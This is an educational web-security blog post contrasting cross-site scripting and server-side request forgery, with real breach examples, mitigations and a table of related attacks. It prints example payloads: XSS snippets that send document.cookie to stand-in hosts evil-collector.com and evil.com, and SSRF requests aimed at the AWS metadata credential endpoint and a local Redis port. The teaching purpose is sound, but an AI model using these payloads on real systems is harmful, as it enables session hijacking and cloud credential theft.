XSS vs SSRF: Two Different Trust Boundaries, Two Different Attacks

XSS vs SSRF: Two Different Trust Boundaries, Two Different Attacks

Views: 3

XSS vs SSRF: Two Different Trust Boundaries, Two Different Attacks
AD² · Attack. Detect. Defend.

XSS vs SSRF: Two Different Trust Boundaries, Two Different Attacks

Same root cause — untrusted input crossing a boundary something else blindly trusted — but the boundary being broken is completely different. Here’s how each one actually plays out in the real world.

NetwerkLABS · Web Application Security

Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) get mentioned together a lot in security write-ups, and it’s easy to treat them as “just two more OWASP Top 10 entries.” But they exploit fundamentally different trust relationships — one abuses what a browser trusts, the other abuses what a server trusts. Understanding that distinction is the fastest way to understand why the fixes look nothing alike.


XSS Cross-Site Scripting

XSS is the injection of attacker-controlled script into a page that then executes in another user’s browser, running with the full privileges of the site it’s served from — same cookies, same session, same DOM access. The browser has no way to distinguish “legitimate app script” from “attacker payload that got stored in a database field” — both arrive from the same origin, so both get the same trust.

Stored XSS attack showing a malicious hotel review being stored and executed in a victim's browser
Stored XSS: malicious JavaScript is stored by the application and executes when another user views the page.

The three flavors

  • Reflected XSS — the payload comes from the request itself (a URL parameter, a search box) and is echoed back unsanitized. Requires a victim to click a crafted link.
  • Stored XSS — the payload is saved server-side (a comment, a profile bio, a support ticket) and served to every user who later views that page. No individual targeting needed.
  • DOM-based XSS — the vulnerability lives entirely client-side. JavaScript takes untrusted data (e.g. location.hash) and writes it into a dangerous sink like innerHTML without the payload ever touching the server.

Real-world example: stored XSS via a review field

Picture a hotel booking platform with a public review form. Instead of encoding user input before rendering it, the frontend dumps it straight into the page with innerHTML. An attacker submits a “review”:

Great stay! <script>
fetch('https://evil-collector.com/steal?c=' + document.cookie)
</script>

Every visitor who opens that hotel’s page silently sends their session cookie to evil-collector.com. The attacker replays it and is logged in as the victim — no password required, no interaction beyond viewing a page.

This isn’t hypothetical. The 2018 British Airways breach followed the same underlying pattern, escalated to card-skimming: attackers injected 22 lines of JavaScript into the payments page that captured card details as customers typed and exfiltrated them to an attacker-controlled domain in real time — a technique now generally known as Magecart-style skimming.

Real-world example: reflected XSS in a search page

A shop’s “did you mean” search feature reflects the query straight into the results page:

https://shop.example.com/search?q=<img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">

The attacker sends this link disguised as a product deal. The victim clicks, sees the real shop page load (so nothing looks off), and their cookie is exfiltrated in the background via the broken image’s onerror handler.

Impact

  • Session hijacking via cookie/token theft
  • Credential phishing via injected fake login forms
  • Keylogging and payment card skimming
  • Defacement
  • Chaining into CSRF or further browser exploitation

Mitigations

  • Context-aware output encoding — HTML, attribute, JS, and URL contexts each need different escaping
  • A strict Content-Security-Policy to block inline script execution
  • HttpOnly and Secure flags on session cookies so script can’t read them even if XSS lands
  • Input validation at the boundary, output encoding at render time — never rely on one alone
  • Framework auto-escaping (React, Angular, Vue) — and avoiding the escape hatches: dangerouslySetInnerHTML, v-html, raw innerHTML

SSRF Server-Side Request Forgery

SSRF flips the attacker’s target. Instead of tricking a browser into running malicious script, the attacker tricks the server itself into making a request it wasn’t supposed to make — usually to an internal resource the attacker could never reach directly, because the server is standing inside the network perimeter and the attacker isn’t.

SSRF attack showing a vulnerable server accessing the internal cloud metadata endpoint
SSRF: the attacker manipulates a trusted server into requesting protected internal resources.

Real-world example: the Capital One breach

This is the textbook case. Capital One ran a Web Application Firewall on AWS with a misconfigured feature that let it fetch data from a URL to validate metadata. An attacker crafted a request that caused the WAF server to issue this internal call on the attacker’s behalf:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

169.254.169.254 is the AWS instance metadata endpoint — reachable only from inside the EC2 instance itself, never from the public internet. Because the WAF was that instance, it dutifully fetched temporary IAM credentials and returned them in its response. Those stolen credentials were then used to pull roughly 100 million customer records out of S3.

Real-world example: “import avatar from URL”

A far more common, everyday pattern — any feature where a server fetches a URL on the user’s behalf:

POST /avatar/import
{"image_url": "http://localhost:6379/"}

If an internal Redis instance is listening on localhost:6379, the attacker can sometimes smuggle Redis protocol commands through a crafted “URL” and get remote code execution on the host running Redis — purely because the server made a connection the attacker could never make from outside.

The pattern to watch for: any feature that takes a user-supplied URL and has the server fetch it — webhooks, PDF generators, “preview this link,” image importers, SSO metadata fetchers — is a candidate SSRF surface.

Other common SSRF targets

  • Cloud metadata endpoints (AWS/GCP/Azure) — IAM credential theft
  • Internal admin panels with no external-facing auth
  • file:// URIs to read local files off the server
  • Port-scanning the internal network via response-time or error-message differences

Mitigations

  • Allowlist destination hosts and URL schemes — never denylist
  • Block outbound requests to link-local and private ranges: 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8
  • Enforce the allowlist at a network-level proxy, not app-level regex — regex-based filters get bypassed by DNS rebinding, redirects, and IP-encoding tricks
  • Disable unneeded URL schemes (file://, gopher://, dict://)
  • Re-validate at request time, not just at input time, to defeat DNS rebinding

Which trust is actually being exploited?

Both attacks come from the same root cause — untrusted input crossing into an interpreter without proper validation for that context — but the boundary each one breaks is different.

XSS → Same-Origin Trust

The browser’s core rule: “if this script came from bank.com, it gets full access to bank.com‘s cookies, session, and DOM.” XSS doesn’t break that rule — it abuses it, by getting attacker script served as if it were the site’s own code. The browser can’t tell a legitimate script tag from a stored payload; both share the origin.

SSRF → Network-Perimeter Trust

Internal systems trust requests that arrive from inside the network — often with weak or no auth, because “if you’re inside, you’re already vetted.” SSRF abuses the fact that a public-facing server is itself a trusted internal node with a URL-fetching feature, and puppets it into making the call the attacker never could directly.

Put another way: XSS breaks the user-to-site trust boundary — attacker code runs as if it were the site, against the user. SSRF breaks the network trust boundary — an attacker request runs as if it were the server, against internal infrastructure. Different victims, different boundaries, same underlying failure: trusting the origin of something instead of validating its content or intent.


Adjacent attacks in the same family

AttackCore idea
CSRFVictim’s authenticated browser is tricked into sending a state-changing request to a site it’s logged into — attacker controls the trigger, not the payload content
SQL InjectionUntrusted input concatenated into a SQL query, altering query logic
Command InjectionUntrusted input passed into a shell command
LDAP InjectionSame idea against LDAP queries
XXEXML parser resolves an external entity, leading to file read or SSRF
SSTIUntrusted input evaluated by a server-side template engine (Jinja2, Twig), often leading to RCE
CRLF InjectionInjecting \r\n into headers to split or forge HTTP responses
Open RedirectApp redirects to an attacker-supplied URL — used in phishing and OAuth token theft
Insecure DeserializationUntrusted serialized data deserialized into objects, leading to RCE (Java, PHP, Python pickle, .NET)
ClickjackingUI redressing via invisible iframes to trick clicks — not injection, but same browser-trust family as XSS
Takeaway: XSS, SQLi, command injection, XXE, and SSTI all share the same root fix — validate and encode untrusted input for the specific interpreter it’s about to hit. SSRF and CSRF sit in a different bucket: they abuse trust in who’s making the request rather than corrupting what the request contains. Knowing which bucket a finding falls into tells you immediately whether the fix is encoding-based or boundary-based.
#XSS #SSRF #WebSecurity #AppSec #OWASP #TrustBoundaries

NetwerkLABS — AD² = Attack. Detect. Defend.